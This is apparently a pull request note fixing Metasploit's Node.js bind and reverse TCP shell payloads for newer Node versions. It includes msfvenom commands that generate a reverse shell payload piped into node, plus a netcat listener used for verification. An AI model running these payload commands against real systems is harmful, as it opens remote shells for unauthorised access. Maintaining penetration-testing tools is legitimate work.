Modern NodeJS (since 5.3.0) has removed util.pump in favor of stream.pipe.
On current versions the nodejs tcp shell payloads error out:
```
$ node --version
v7.10.0
$ msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
<snip>
TypeError: util.pump is not a function
at Socket.<anonymous> ([stdin]:1:405)
at Object.onceWrapper (events.js:293:19)
at emitNone (events.js:86:13)
at Socket.emit (events.js:188:7)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1080:10)
```
With this change, bind and reverse tcp should be tolerant of both new and older versions.
*Reference*
https://github.com/nodejs/node/pull/2531
*Verification steps*
1. Set up a handler (either exploit/multi/handler or simple nc)
```
$ nc -l -v 7777
```
2. Use patched version with various versions of node:
```
msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
```
3. Confirm both old and new versions of node result in shell, not error.
Patrick Thomas